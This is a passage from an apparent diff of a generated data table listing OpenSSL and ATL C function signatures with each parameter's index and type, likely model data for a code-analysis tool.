0 | const SAFEARRAY * | | (const SAFEARRAY *) | CComSafeArray | CComSafeArray | 0 | const SAFEARRAY * | | (const SAFEARRAY *) | CComSafeArray | operator= | 0 | const SAFEARRAY * | +| (const SCRYPT_PARAMS *,unsigned char **) | | i2d_SCRYPT_PARAMS | 0 | const SCRYPT_PARAMS * | +| (const SCRYPT_PARAMS *,unsigned char **) | | i2d_SCRYPT_PARAMS | 1 | unsigned char ** | +| (const SCT *) | | SCT_get_log_entry_type | 0 | const SCT * | +| (const SCT *) | | SCT_get_source | 0 | const SCT * | +| (const SCT *) | | SCT_get_timestamp | 0 | const SCT * | +| (const SCT *) | | SCT_get_validation_status | 0 | const SCT * | +| (const SCT *) | | SCT_get_version | 0 | const SCT * | +| (const SCT *) | | SCT_is_complete | 0 | const SCT * | +| (const SCT *,unsigned char **) | | SCT_get0_extensions | 0 | const SCT * | +| (const SCT *,unsigned char **) | | SCT_get0_extensions | 1 | unsigned char ** | +| (const SCT *,unsigned char **) | | SCT_get0_log_id | 0 | const SCT * | +| (const SCT *,unsigned char **) | | SCT_get0_log_id | 1 | unsigned char ** | +| (const SCT *,unsigned char **) | | SCT_get0_signature | 0 | const SCT * | +| (const SCT *,unsigned char **) | | SCT_get0_signature | 1 | unsigned char ** | +| (const SCT *,unsigned char **) | | i2o_SCT | 0 | const SCT * | +| (const SCT *,unsigned char **) | | i2o_SCT | 1 | unsigned char ** | +| (const SCT *,unsigned char **) | | i2o_SCT_signature | 0 | const SCT * | +| (const SCT *,unsigned char **) | | i2o_SCT_signature | 1 | unsigned char ** | +| (const SFRAME_LIST *,void **,UINT_RANGE *,const unsigned char **,int *) | | ossl_sframe_list_peek | 0 | const SFRAME_LIST * | +| (const SFRAME_LIST *,void **,UINT_RANGE *,const unsigned char **,int *) | | ossl_sframe_list_peek | 1 | void ** | +| (const SFRAME_LIST *,void **,UINT_RANGE *,const unsigned char **,int *) | | ossl_sframe_list_peek | 2 | UINT_RANGE * | +| (const SFRAME_LIST *,void **,UINT_RANGE *,const unsigned char **,int *) | | ossl_sframe_list_peek | 3 | const unsigned char ** | +| (const SFRAME_LIST *,void **,UINT_RANGE *,const unsigned char **,int *) | | ossl_sframe_list_peek | 4 | int * | +| (const SLH_DSA_HASH_CTX *) | | ossl_slh_dsa_hash_ctx_dup | 0 | const SLH_DSA_HASH_CTX * | +| (const SLH_DSA_KEY *) | | ossl_slh_dsa_hash_ctx_new | 0 | const SLH_DSA_KEY * | +| (const SLH_DSA_KEY *) | | ossl_slh_dsa_key_get_n | 0 | const SLH_DSA_KEY * | +| (const SLH_DSA_KEY *) | | ossl_slh_dsa_key_get_name | 0 | const SLH_DSA_KEY * | +| (const SLH_DSA_KEY *) | | ossl_slh_dsa_key_get_priv | 0 | const SLH_DSA_KEY * | +| (const SLH_DSA_KEY *) | | ossl_slh_dsa_key_get_priv_len | 0 | const SLH_DSA_KEY * | +| (const SLH_DSA_KEY *) | | ossl_slh_dsa_key_get_pub | 0 | const SLH_DSA_KEY * | +| (const SLH_DSA_KEY *) | | ossl_slh_dsa_key_get_pub_len | 0 | const SLH_DSA_KEY * | +| (const SLH_DSA_KEY *) | | ossl_slh_dsa_key_get_sig_len | 0 | const SLH_DSA_KEY * | +| (const SLH_DSA_KEY *) | | ossl_slh_dsa_key_get_type | 0 | const SLH_DSA_KEY * | +| (const SLH_DSA_KEY *,int) | | ossl_slh_dsa_key_dup | 0 | const SLH_DSA_KEY * | +| (const SLH_DSA_KEY *,int) | | ossl_slh_dsa_key_dup | 1 | int | +| (const SM2_Ciphertext *,unsigned char **) | | i2d_SM2_Ciphertext | 0 | const SM2_Ciphertext * | +| (const SM2_Ciphertext *,unsigned char **) | | i2d_SM2_Ciphertext | 1 | unsigned char ** | +| (const SSL *) | | DTLS_get_data_mtu | 0 | const SSL * | +| (const SSL *) | | SSL_client_version | 0 | const SSL * | +| (const SSL *) | | SSL_ct_is_enabled | 0 | const SSL * | +| (const SSL *) | | SSL_get0_CA_list | 0 | const SSL * | +| (const SSL *) | | SSL_get0_peer_certificate | 0 | const SSL * | +| (const SSL *) | | SSL_get0_peer_rpk | 0 | const SSL * | +| (const SSL *) | | SSL_get0_security_ex_data | 0 | const SSL * | +| (const SSL *) | | SSL_get0_verified_chain | 0 | const SSL * | +| (const SSL *) | | SSL_get1_peer_certificate | 0 | const SSL * | +| (const SSL *) | | SSL_get_SSL_CTX | 0 | const SSL * | +| (const SSL *) | | SSL_get_ciphers | 0 | const SSL * | +| (const SSL *) | | SSL_get_client_CA_list | 0 | const SSL * | +| (const SSL *) | | SSL_get_client_ciphers | 0 | const SSL * | +| (const SSL *) | | SSL_get_current_cipher | 0 | const SSL * | +| (const SSL *) | | SSL_get_early_data_status | 0 | const SSL * | +| (const SSL *) | | SSL_get_info_callback | 0 | const SSL * | +| (const SSL *) | | SSL_get_key_update_type | 0 | const SSL * | +| (const SSL *) | | SSL_get_max_early_data | 0 | const SSL * | +| (const SSL *) | | SSL_get_negotiated_client_cert_type | 0 | const SSL * | +| (const SSL *) | | SSL_get_negotiated_server_cert_type | 0 | const SSL * | +| (const SSL *) | | SSL_get_num_tickets | 0 | const SSL * | +| (const SSL *) | | SSL_get_options | 0 | const SSL * | +| (const SSL *) | | SSL_get_peer_cert_chain | 0 | const SSL * | +| (const SSL *) | | SSL_get_psk_identity | 0 | const SSL * | +| (const SSL *) | | SSL_get_psk_identity_hint | 0 | const SSL * | +| (const SSL *) | | SSL_get_quiet_shutdown | 0 | const SSL * | +| (const SSL *) | | SSL_get_rbio | 0 | const SSL * | +| (const SSL *) | | SSL_get_read_ahead | 0 | const SSL * | +| (const SSL *) | | SSL_get_record_padding_callback_arg | 0 | const SSL * | +| (const SSL *) | | SSL_get_recv_max_early_data | 0 | const SSL * | +| (const SSL *) | | SSL_get_security_callback | 0 | const SSL * | +| (const SSL *) | | SSL_get_security_level | 0 | const SSL * | +| (const SSL *) | | SSL_get_session | 0 | const SSL * | +| (const SSL *) | | SSL_get_shutdown | 0 | const SSL * | +| (const SSL *) | | SSL_get_ssl_method | 0 | const SSL * | +| (const SSL *) | | SSL_get_state | 0 | const SSL * | +| (const SSL *) | | SSL_get_verify_callback | 0 | const SSL * | +| (const SSL *) | | SSL_get_verify_depth | 0 | const SSL * | +| (const SSL *) | | SSL_get_verify_mode | 0 | const SSL * | +| (const SSL *) | | SSL_get_verify_result | 0 | const SSL * | +| (const SSL *) | | SSL_get_wbio | 0 | const SSL * | +| (const SSL *) | | SSL_in_init | 0 | const SSL * | +| (const SSL *) | | SSL_is_server | 0 | const SSL * | +| (const SSL *) | | SSL_renegotiate_pending | 0 | const SSL * | +| (const SSL *) | | SSL_session_reused | 0 | const SSL * | +| (const SSL *) | | SSL_state_string | 0 | const SSL * | +| (const SSL *) | | SSL_state_string_long | 0 | const SSL * | +| (const SSL *) | | SSL_version | 0 | const SSL * | +| (const SSL *) | | SSL_want | 0 | const SSL * | +| (const SSL *,char *,int) | | SSL_get_shared_ciphers | 0 | const SSL * | +| (const SSL *,char *,int) | | SSL_get_shared_ciphers | 1 | char * | +| (const SSL *,char *,int) | | SSL_get_shared_ciphers | 2 | int | +| (const SSL *,const SSL_CTX *,int *) | | ssl_get_security_level_bits | 0 | const SSL * | +| (const SSL *,const SSL_CTX *,int *) | | ssl_get_security_level_bits | 1 | const SSL_CTX * | +| (const SSL *,const SSL_CTX *,int *) | | ssl_get_security_level_bits | 2 | int * | +| (const SSL *,const int) | | SSL_get_servername | 0 | const SSL * | +| (const SSL *,const int) | | SSL_get_servername | 1 | const int | +| (const SSL *,const unsigned char **,unsigned int *) | | SSL_get0_alpn_selected | 0 | const SSL * | +| (const SSL *,const unsigned char **,unsigned int *) | | SSL_get0_alpn_selected | 1 | const unsigned char ** | +| (const SSL *,const unsigned char **,unsigned int *) | | SSL_get0_alpn_selected | 2 | unsigned int * | +| (const SSL *,const unsigned char **,unsigned int *) | | SSL_get0_next_proto_negotiated | 0 | const SSL * | +| (const SSL *,const unsigned char **,unsigned int *) | | SSL_get0_next_proto_negotiated | 1 | const unsigned char ** | +| (const SSL *,const unsigned char **,unsigned int *) | | SSL_get0_next_proto_negotiated | 2 | unsigned int * | +| (const SSL *,int) | | SSL_get_ex_data | 0 | const SSL * | +| (const SSL *,int) | | SSL_get_ex_data | 1 | int | +| (const SSL *,int,int) | | apps_ssl_info_callback | 0 | const SSL * | +| (const SSL *,int,int) | | apps_ssl_info_callback | 1 | int | +| (const SSL *,int,int) | | apps_ssl_info_callback | 2 | int | +| (const SSL *,uint64_t *) | | SSL_get_handshake_rtt | 0 | const SSL * | +| (const SSL *,uint64_t *) | | SSL_get_handshake_rtt | 1 | uint64_t * | +| (const SSL *,unsigned char **,size_t *) | | SSL_get0_client_cert_type | 0 | const SSL * | +| (const SSL *,unsigned char **,size_t *) | | SSL_get0_client_cert_type | 1 | unsigned char ** | +| (const SSL *,unsigned char **,size_t *) | | SSL_get0_client_cert_type | 2 | size_t * | +| (const SSL *,unsigned char **,size_t *) | | SSL_get0_server_cert_type | 0 | const SSL * | +| (const SSL *,unsigned char **,size_t *) | | SSL_get0_server_cert_type | 1 | unsigned char ** | +| (const SSL *,unsigned char **,size_t *) | | SSL_get0_server_cert_type | 2 | size_t * | +| (const SSL *,unsigned char *,size_t) | | SSL_get_client_random | 0 | const SSL * | +| (const SSL *,unsigned char *,size_t) | | SSL_get_client_random | 1 | unsigned char * | +| (const SSL *,unsigned char *,size_t) | | SSL_get_client_random | 2 | size_t | +| (const SSL *,unsigned char *,size_t) | | SSL_get_server_random | 0 | const SSL * | +| (const SSL *,unsigned char *,size_t) | | SSL_get_server_random | 1 | unsigned char * | +| (const SSL *,unsigned char *,size_t) | | SSL_get_server_random | 2 | size_t | +| (const SSL_CIPHER *) | | SSL_CIPHER_get_id | 0 | const SSL_CIPHER * | +| (const SSL_CIPHER *) | | SSL_CIPHER_get_name | 0 | const SSL_CIPHER * | +| (const SSL_CIPHER *) | | SSL_CIPHER_get_protocol_id | 0 | const SSL_CIPHER * | +| (const SSL_CIPHER *) | | SSL_CIPHER_standard_name | 0 | const SSL_CIPHER * | +| (const SSL_CIPHER *,char *,int) | | SSL_CIPHER_description | 0 | const SSL_CIPHER * | +| (const SSL_CIPHER *,char *,int) | | SSL_CIPHER_description | 1 | char * | +| (const SSL_CIPHER *,char *,int) | | SSL_CIPHER_description | 2 | int | +| (const SSL_CIPHER *,int *) | | SSL_CIPHER_get_bits | 0 | const SSL_CIPHER * | +| (const SSL_CIPHER *,int *) | | SSL_CIPHER_get_bits | 1 | int * | +| (const SSL_CIPHER *const *,const SSL_CIPHER *const *) | | ssl_cipher_ptr_id_cmp | 0 | const SSL_CIPHER *const * | +| (const SSL_CIPHER *const *,const SSL_CIPHER *const *) | | ssl_cipher_ptr_id_cmp | 1 | const SSL_CIPHER *const * | +| (const SSL_COMP *) | | SSL_COMP_get0_name | 0 | const SSL_COMP * | +| (const SSL_COMP *) | | SSL_COMP_get_id | 0 | const SSL_COMP * | +| (const SSL_CONF_CMD *,size_t,char **,char **) | | conf_ssl_get_cmd | 0 | const SSL_CONF_CMD * | +| (const SSL_CONF_CMD *,size_t,char **,char **) | | conf_ssl_get_cmd | 1 | size_t | +| (const SSL_CONF_CMD *,size_t,char **,char **) | | conf_ssl_get_cmd | 2 | char ** | +| (const SSL_CONF_CMD *,size_t,char **,char **) | | conf_ssl_get_cmd | 3 | char ** | +| (const SSL_CONNECTION *) | | ssl_get_max_send_fragment | 0 | const SSL_CONNECTION * | +| (const SSL_CONNECTION *) | | ssl_get_split_send_fragment | 0 | const SSL_CONNECTION * | +| (const SSL_CONNECTION *) | | tls_get_peer_pkey | 0 | const SSL_CONNECTION * | +| (const SSL_CONNECTION *,OSSL_TIME *) | | dtls1_get_timeout | 0 | const SSL_CONNECTION * | +| (const SSL_CONNECTION *,OSSL_TIME *) | | dtls1_get_timeout | 1 | OSSL_TIME * | +| (const SSL_CONNECTION *,int *,int *,int *) | | ssl_get_min_max_version | 0 | const SSL_CONNECTION * | +| (const SSL_CONNECTION *,int *,int *,int *) | | ssl_get_min_max_version | 1 | int * | +| (const SSL_CONNECTION *,int *,int *,int *) | | ssl_get_min_max_version | 2 | int * | +| (const SSL_CONNECTION *,int *,int *,int *) | | ssl_get_min_max_version | 3 | int * | +| (const SSL_CTX *) | | SSL_CTX_ct_is_enabled | 0 | const SSL_CTX * | +| (const SSL_CTX *) | | SSL_CTX_get0_CA_list | 0 | const SSL_CTX * | +| (const SSL_CTX *) | | SSL_CTX_get0_ctlog_store | 0 | const SSL_CTX * | +| (const SSL_CTX *) | | SSL_CTX_get0_security_ex_data | 0 | const SSL_CTX * | +| (const SSL_CTX *) | | SSL_CTX_get_cert_store | 0 | const SSL_CTX * | +| (const SSL_CTX *) | | SSL_CTX_get_ciphers | 0 | const SSL_CTX * | +| (const SSL_CTX *) | | SSL_CTX_get_client_CA_list | 0 | const SSL_CTX * | +| (const SSL_CTX *) | | SSL_CTX_get_keylog_callback | 0 | const SSL_CTX * | +| (const SSL_CTX *) | | SSL_CTX_get_max_early_data | 0 | const SSL_CTX * | +| (const SSL_CTX *) | | SSL_CTX_get_num_tickets | 0 | const SSL_CTX * | +| (const SSL_CTX *) | | SSL_CTX_get_options | 0 | const SSL_CTX * | +| (const SSL_CTX *) | | SSL_CTX_get_quiet_shutdown | 0 | const SSL_CTX * | +| (const SSL_CTX *) | | SSL_CTX_get_record_padding_callback_arg | 0 | const SSL_CTX * | +| (const SSL_CTX *) | | SSL_CTX_get_recv_max_early_data | 0 | const SSL_CTX * | +| (const SSL_CTX *) | | SSL_CTX_get_security_callback | 0 | const SSL_CTX * | +| (const SSL_CTX *) | | SSL_CTX_get_security_level | 0 | const SSL_CTX * | +| (const SSL_CTX *) | | SSL_CTX_get_ssl_method | 0 | const SSL_CTX * | +| (const SSL_CTX *) | | SSL_CTX_get_timeout | 0 | const SSL_CTX * | +| (const SSL_CTX *) | | SSL_CTX_get_verify_callback | 0 | const SSL_CTX * | +| (const SSL_CTX *) | | SSL_CTX_get_verify_depth | 0 | const SSL_CTX * | +| (const SSL_CTX *) | | SSL_CTX_get_verify_mode | 0 | const SSL_CTX * | +| (const SSL_CTX *,int) | | SSL_CTX_get_ex_data | 0 | const SSL_CTX * | +| (const SSL_CTX *,int) | | SSL_CTX_get_ex_data | 1 | int | +| (const SSL_CTX *,uint64_t *) | | SSL_CTX_get_domain_flags | 0 | const SSL_CTX * | +| (const SSL_CTX *,uint64_t *) | | SSL_CTX_get_domain_flags | 1 | uint64_t * | +| (const SSL_CTX *,unsigned char **,size_t *) | | SSL_CTX_get0_client_cert_type | 0 | const SSL_CTX * | +| (const SSL_CTX *,unsigned char **,size_t *) | | SSL_CTX_get0_client_cert_type | 1 | unsigned char ** | +| (const SSL_CTX *,unsigned char **,size_t *) | | SSL_CTX_get0_client_cert_type | 2 | size_t * | +| (const SSL_CTX *,unsigned char **,size_t *) | | SSL_CTX_get0_server_cert_type | 0 | const SSL_CTX * | +| (const SSL_CTX *,unsigned char **,size_t *) | | SSL_CTX_get0_server_cert_type | 1 | unsigned char ** | +| (const SSL_CTX *,unsigned char **,size_t *) | | SSL_CTX_get0_server_cert_type | 2 | size_t * | +| (const SSL_METHOD *) | | SSL_CTX_new | 0 | const SSL_METHOD * | +| (const SSL_SESSION *) | | SSL_SESSION_dup | 0 | const SSL_SESSION * | +| (const SSL_SESSION *) | | SSL_SESSION_get0_cipher | 0 | const SSL_SESSION * | +| (const SSL_SESSION *) | | SSL_SESSION_get0_hostname | 0 | const SSL_SESSION * | +| (const SSL_SESSION *) | | SSL_SESSION_get_compress_id | 0 | const SSL_SESSION * | +| (const SSL_SESSION *) | | SSL_SESSION_get_max_early_data | 0 | const SSL_SESSION * | +| (const SSL_SESSION *) | | SSL_SESSION_get_max_fragment_length | 0 | const SSL_SESSION * | +| (const SSL_SESSION *) | | SSL_SESSION_get_protocol_version | 0 | const SSL_SESSION * | +| (const SSL_SESSION *) | | SSL_SESSION_get_ticket_lifetime_hint | 0 | const SSL_SESSION * | +| (const SSL_SESSION *) | | SSL_SESSION_get_time | 0 | const SSL_SESSION * | +| (const SSL_SESSION *) | | SSL_SESSION_get_time_ex | 0 | const SSL_SESSION * | +| (const SSL_SESSION *) | | SSL_SESSION_get_timeout | 0 | const SSL_SESSION * | +| (const SSL_SESSION *,OSSL_PARAM[]) | | ssl3_digest_master_key_set_params | 0 | const SSL_SESSION * | +| (const SSL_SESSION *,OSSL_PARAM[]) | | ssl3_digest_master_key_set_params | 1 | OSSL_PARAM[] | +| (const SSL_SESSION *,const unsigned char **,size_t *) | | SSL_SESSION_get0_alpn_selected | 0 | const SSL_SESSION * | +| (const SSL_SESSION *,const unsigned char **,size_t *) | | SSL_SESSION_get0_alpn_selected | 1 | const unsigned char ** | +| (const SSL_SESSION *,const unsigned char **,size_t *) | | SSL_SESSION_get0_alpn_selected | 2 | size_t * | +| (const SSL_SESSION *,const unsigned char **,size_t *) | | SSL_SESSION_get0_ticket | 0 | const SSL_SESSION * | +| (const SSL_SESSION *,const unsigned char **,size_t *) | | SSL_SESSION_get0_ticket | 1 | const unsigned char ** | +| (const SSL_SESSION *,const unsigned char **,size_t *) | | SSL_SESSION_get0_ticket | 2 | size_t * | +| (const SSL_SESSION *,int) | | SSL_SESSION_get_ex_data | 0 | const SSL_SESSION * | +| (const SSL_SESSION *,int) | | SSL_SESSION_get_ex_data | 1 | int | +| (const SSL_SESSION *,int) | | ssl_session_dup | 0 | const SSL_SESSION * | +| (const SSL_SESSION *,int) | | ssl_session_dup | 1 | int | +| (const SSL_SESSION *,unsigned char **) | | i2d_SSL_SESSION | 0 | const SSL_SESSION * | +| (const SSL_SESSION *,unsigned char **) | | i2d_SSL_SESSION | 1 | unsigned char ** | +| (const SSL_SESSION *,unsigned char *,size_t) | | SSL_SESSION_get_master_key | 0 | const SSL_SESSION * | +| (const SSL_SESSION *,unsigned char *,size_t) | | SSL_SESSION_get_master_key | 1 | unsigned char * | +| (const SSL_SESSION *,unsigned char *,size_t) | | SSL_SESSION_get_master_key | 2 | size_t | +| (const SSL_SESSION *,unsigned int *) | | SSL_SESSION_get0_id_context | 0 | const SSL_SESSION * | +| (const SSL_SESSION *,unsigned int *) | | SSL_SESSION_get0_id_context | 1 | unsigned int * | +| (const SSL_SESSION *,unsigned int *) | | SSL_SESSION_get_id | 0 | const SSL_SESSION * | +| (const SSL_SESSION *,unsigned int *) | | SSL_SESSION_get_id | 1 | unsigned int * | +| (const SXNET *,unsigned char **) | | i2d_SXNET | 0 | const SXNET * | +| (const SXNET *,unsigned char **) | | i2d_SXNET | 1 | unsigned char ** | +| (const SXNETID *,unsigned char **) | | i2d_SXNETID | 0 | const SXNETID * | +| (const SXNETID *,unsigned char **) | | i2d_SXNETID | 1 | unsigned char ** | | (const T &,BOOL) | CComSafeArray | Add | 0 | const class:0 & | | (const T &,BOOL) | CComSafeArray | Add | 1 | BOOL | +| (const TS_ACCURACY *) | | TS_ACCURACY_dup | 0 | const TS_ACCURACY * | +| (const TS_ACCURACY *) | | TS_ACCURACY_get_micros | 0 | const TS_ACCURACY * | +| (const TS_ACCURACY *) | | TS_ACCURACY_get_millis | 0 | const TS_ACCURACY * | +| (const TS_ACCURACY *) | | TS_ACCURACY_get_seconds | 0 | const TS_ACCURACY * | +| (const TS_ACCURACY *,unsigned char **) | | i2d_TS_ACCURACY | 0 | const TS_ACCURACY * | +| (const TS_ACCURACY *,unsigned char **) | | i2d_TS_ACCURACY | 1 | unsigned char ** | +| (const TS_MSG_IMPRINT *) | | TS_MSG_IMPRINT_dup | 0 | const TS_MSG_IMPRINT * | +| (const TS_MSG_IMPRINT *,unsigned char **) | | i2d_TS_MSG_IMPRINT | 0 | const TS_MSG_IMPRINT * | +| (const TS_MSG_IMPRINT *,unsigned char **) | | i2d_TS_MSG_IMPRINT | 1 | unsigned char ** | +| (const TS_REQ *) | | TS_REQ_dup | 0 | const TS_REQ * | +| (const TS_REQ *) | | TS_REQ_get_nonce | 0 | const TS_REQ * | +| (const TS_REQ *) | | TS_REQ_get_version | 0 | const TS_REQ * | +| (const TS_REQ *,unsigned char **) | | i2d_TS_REQ | 0 | const TS_REQ * | +| (const TS_REQ *,unsigned char **) | | i2d_TS_REQ | 1 | unsigned char ** | +| (const TS_RESP *) | | TS_RESP_dup | 0 | const TS_RESP * | +| (const TS_RESP *,unsigned char **) | | i2d_TS_RESP | 0 | const TS_RESP * | +| (const TS_RESP *,unsigned char **) | | i2d_TS_RESP | 1 | unsigned char ** | +| (const TS_STATUS_INFO *) | | TS_STATUS_INFO_dup | 0 | const TS_STATUS_INFO * | +| (const TS_STATUS_INFO *) | | TS_STATUS_INFO_get0_failure_info | 0 | const TS_STATUS_INFO * | +| (const TS_STATUS_INFO *) | | TS_STATUS_INFO_get0_status | 0 | const TS_STATUS_INFO * | +| (const TS_STATUS_INFO *) | | TS_STATUS_INFO_get0_text | 0 | const TS_STATUS_INFO * | +| (const TS_STATUS_INFO *,unsigned char **) | | i2d_TS_STATUS_INFO | 0 | const TS_STATUS_INFO * | +| (const TS_STATUS_INFO *,unsigned char **) | | i2d_TS_STATUS_INFO | 1 | unsigned char ** | +| (const TS_TST_INFO *) | | TS_TST_INFO_dup | 0 | const TS_TST_INFO * | +| (const TS_TST_INFO *) | | TS_TST_INFO_get_nonce | 0 | const TS_TST_INFO * | +| (const TS_TST_INFO *) | | TS_TST_INFO_get_serial | 0 | const TS_TST_INFO * | +| (const TS_TST_INFO *) | | TS_TST_INFO_get_time | 0 | const TS_TST_INFO * | +| (const TS_TST_INFO *) | | TS_TST_INFO_get_version | 0 | const TS_TST_INFO * | +| (const TS_TST_INFO *,unsigned char **) | | i2d_TS_TST_INFO | 0 | const TS_TST_INFO * | +| (const TS_TST_INFO *,unsigned char **) | | i2d_TS_TST_INFO | 1 | unsigned char ** | +| (const UI *,int) | | UI_get_ex_data | 0 | const UI * | +| (const UI *,int) | | UI_get_ex_data | 1 | int | +| (const UI_METHOD *) | | UI_method_get_closer | 0 | const UI_METHOD * | +| (const UI_METHOD *) | | UI_method_get_data_destructor | 0 | const UI_METHOD * | +| (const UI_METHOD *) | | UI_method_get_data_duplicator | 0 | const UI_METHOD * | +| (const UI_METHOD *) | | UI_method_get_flusher | 0 | const UI_METHOD * | +| (const UI_METHOD *) | | UI_method_get_opener | 0 | const UI_METHOD * | +| (const UI_METHOD *) | | UI_method_get_prompt_constructor | 0 | const UI_METHOD * | +| (const UI_METHOD *) | | UI_method_get_reader | 0 | const UI_METHOD * | +| (const UI_METHOD *) | | UI_method_get_writer | 0 | const UI_METHOD * | +| (const UI_METHOD *) | | UI_new_method | 0 | const UI_METHOD * | +| (const UI_METHOD *,int) | | UI_method_get_ex_data | 0 | const UI_METHOD * | +| (const UI_METHOD *,int) | | UI_method_get_ex_data | 1 | int | +| (const USERNOTICE *,unsigned char **) | | i2d_USERNOTICE | 0 | const USERNOTICE * | +| (const USERNOTICE *,unsigned char **) | | i2d_USERNOTICE | 1 | unsigned char ** | | (const VARIANT &) | | operator+= | 0 | const VARIANT & | | (const VARIANT &) | CStringT | CStringT | 0 | const VARIANT & | | (const VARIANT &) | CStringT | operator= | 0 | const VARIANT & | | (const VARIANT &,IAtlStringMgr *) | CStringT | CStringT | 0 | const VARIANT & | | (const VARIANT &,IAtlStringMgr *) | CStringT | CStringT | 1 | IAtlStringMgr * | +| (const VECTOR *,uint32_t,uint8_t *,size_t) | | ossl_ml_dsa_w1_encode | 0 | const VECTOR * | +| (const VECTOR *,uint32_t,uint8_t *,size_t) | | ossl_ml_dsa_w1_encode | 1 | uint32_t | +| (const VECTOR *,uint32_t,uint8_t *,size_t) | | ossl_ml_dsa_w1_encode | 2 | uint8_t * | +| (const VECTOR *,uint32_t,uint8_t *,size_t) | | ossl_ml_dsa_w1_encode | 3 | size_t | +| (const X509 *) | | OSSL_CMP_ITAV_new_rootCaCert | 0 | const X509 * | +| (const X509 *) | | X509_dup | 0 | const X509 * | +| (const X509 *) | | X509_get0_extensions | 0 | const X509 * | +| (const X509 *) | | X509_get0_serialNumber | 0 | const X509 * | +| (const X509 *) | | X509_get0_tbs_sigalg | 0 | const X509 * | +| (const X509 *) | | X509_get_X509_PUBKEY | 0 | const X509 * | +| (const X509 *) | | X509_get_issuer_name | 0 | const X509 * | +| (const X509 *) | | X509_get_subject_name | 0 | const X509 * | +| (const X509 *,EVP_MD **,int *) | | X509_digest_sig | 0 | const X509 * | +| (const X509 *,EVP_MD **,int *) | | X509_digest_sig | 1 | EVP_MD ** | +| (const X509 *,EVP_MD **,int *) | | X509_digest_sig | 2 | int * | +| (const X509 *,const ASN1_BIT_STRING **,const ASN1_BIT_STRING **) | | X509_get0_uids | 0 | const X509 * | +| (const X509 *,const ASN1_BIT_STRING **,const ASN1_BIT_STRING **) | | X509_get0_uids | 1 | const ASN1_BIT_STRING ** | +| (const X509 *,const ASN1_BIT_STRING **,const ASN1_BIT_STRING **) | | X509_get0_uids | 2 | const ASN1_BIT_STRING ** | +| (const X509 *,const ASN1_OBJECT *,int) | | X509_get_ext_by_OBJ | 0 | const X509 * | +| (const X509 *,const ASN1_OBJECT *,int) | | X509_get_ext_by_OBJ | 1 | const ASN1_OBJECT * | +| (const X509 *,const ASN1_OBJECT *,int) | | X509_get_ext_by_OBJ | 2 | int | +| (const X509 *,const EVP_MD *,unsigned char *,unsigned int *) | | X509_digest | 0 | const X509 * | +| (const X509 *,const EVP_MD *,unsigned char *,unsigned int *) | | X509_digest | 1 | const EVP_MD * | +| (const X509 *,const EVP_MD *,unsigned char *,unsigned int *) | | X509_digest | 2 | unsigned char * | +| (const X509 *,const EVP_MD *,unsigned char *,unsigned int *) | | X509_digest | 3 | unsigned int * | +| (const X509 *,const X509 *) | | X509_cmp | 0 | const X509 * | +| (const X509 *,const X509 *) | | X509_cmp | 1 | const X509 * | +| (const X509 *,const X509 *) | | X509_issuer_and_serial_cmp | 0 | const X509 * | +| (const X509 *,const X509 *) | | X509_issuer_and_serial_cmp | 1 | const X509 * | +| (const X509 *,const X509 *) | | X509_issuer_name_cmp | 0 | const X509 * | +| (const X509 *,const X509 *) | | X509_issuer_name_cmp | 1 | const X509 * | +| (const X509 *,const X509 *) | | X509_subject_name_cmp | 0 | const X509 * | +| (const X509 *,const X509 *) | | X509_subject_name_cmp | 1 | const X509 * | +| (const X509 *,const X509 *,const X509 *) | | OSSL_CMP_ITAV_new_rootCaKeyUpdate | 0 | const X509 * | +| (const X509 *,const X509 *,const X509 *) | | OSSL_CMP_ITAV_new_rootCaKeyUpdate | 1 | const X509 * | +| (const X509 *,const X509 *,const X509 *) | | OSSL_CMP_ITAV_new_rootCaKeyUpdate | 2 | const X509 * | +| (const X509 *,const stack_st_X509 *,int) | | OSSL_ESS_signing_cert_new_init | 0 | const X509 * | +| (const X509 *,const stack_st_X509 *,int) | | OSSL_ESS_signing_cert_new_init | 1 | const stack_st_X509 * | +| (const X509 *,const stack_st_X509 *,int) | | OSSL_ESS_signing_cert_new_init | 2 | int | +| (const X509 *,int) | | X509_get_ex_data | 0 | const X509 * | +| (const X509 *,int) | | X509_get_ex_data | 1 | int | +| (const X509 *,int) | | X509_get_ext | 0 | const X509 * | +| (const X509 *,int) | | X509_get_ext | 1 | int | +| (const X509 *,int,int *,int *) | | X509_get_ext_d2i | 0 | const X509 * | +| (const X509 *,int,int *,int *) | | X509_get_ext_d2i | 1 | int | +| (const X509 *,int,int *,int *) | | X509_get_ext_d2i | 2 | int * | +| (const X509 *,int,int *,int *) | | X509_get_ext_d2i | 3 | int * | +| (const X509 *,int,int) | | X509_get_ext_by_NID | 0 | const X509 * | +| (const X509 *,int,int) | | X509_get_ext_by_NID | 1 | int | +| (const X509 *,int,int) | | X509_get_ext_by_NID | 2 | int | +| (const X509 *,int,int) | | X509_get_ext_by_critical | 0 | const X509 * | +| (const X509 *,int,int) | | X509_get_ext_by_critical | 1 | int | +| (const X509 *,int,int) | | X509_get_ext_by_critical | 2 | int | +| (const X509 *,unsigned char **) | | i2d_X509 | 0 | const X509 * | +| (const X509 *,unsigned char **) | | i2d_X509 | 1 | unsigned char ** | +| (const X509 *,unsigned char **) | | i2d_X509_AUX | 0 | const X509 * | +| (const X509 *,unsigned char **) | | i2d_X509_AUX | 1 | unsigned char ** | +| (const X509V3_EXT_METHOD *,X509V3_CTX *,stack_st_CONF_VALUE *) | | v2i_GENERAL_NAMES | 0 | const X509V3_EXT_METHOD * | +| (const X509V3_EXT_METHOD *,X509V3_CTX *,stack_st_CONF_VALUE *) | | v2i_GENERAL_NAMES | 1 | X509V3_CTX * | +| (const X509V3_EXT_METHOD *,X509V3_CTX *,stack_st_CONF_VALUE *) | | v2i_GENERAL_NAMES | 2 | stack_st_CONF_VALUE * | +| (const X509_ACERT *) | | X509_ACERT_dup | 0 | const X509_ACERT * | +| (const X509_ACERT *) | | X509_ACERT_get0_extensions | 0 | const X509_ACERT * | +| (const X509_ACERT *) | | X509_ACERT_get0_info_sigalg | 0 | const X509_ACERT * | +| (const X509_ACERT *) | | X509_ACERT_get0_issuerUID | 0 | const X509_ACERT * | +| (const X509_ACERT *) | | X509_ACERT_get0_serialNumber | 0 | const X509_ACERT * | +| (const X509_ACERT *,const ASN1_BIT_STRING **,const X509_ALGOR **) | | X509_ACERT_get0_signature | 0 | const X509_ACERT * | +| (const X509_ACERT *,const ASN1_BIT_STRING **,const X509_ALGOR **) | | X509_ACERT_get0_signature | 1 | const ASN1_BIT_STRING ** | +| (const X509_ACERT *,const ASN1_BIT_STRING **,const X509_ALGOR **) | | X509_ACERT_get0_signature | 2 | const X509_ALGOR ** | +| (const 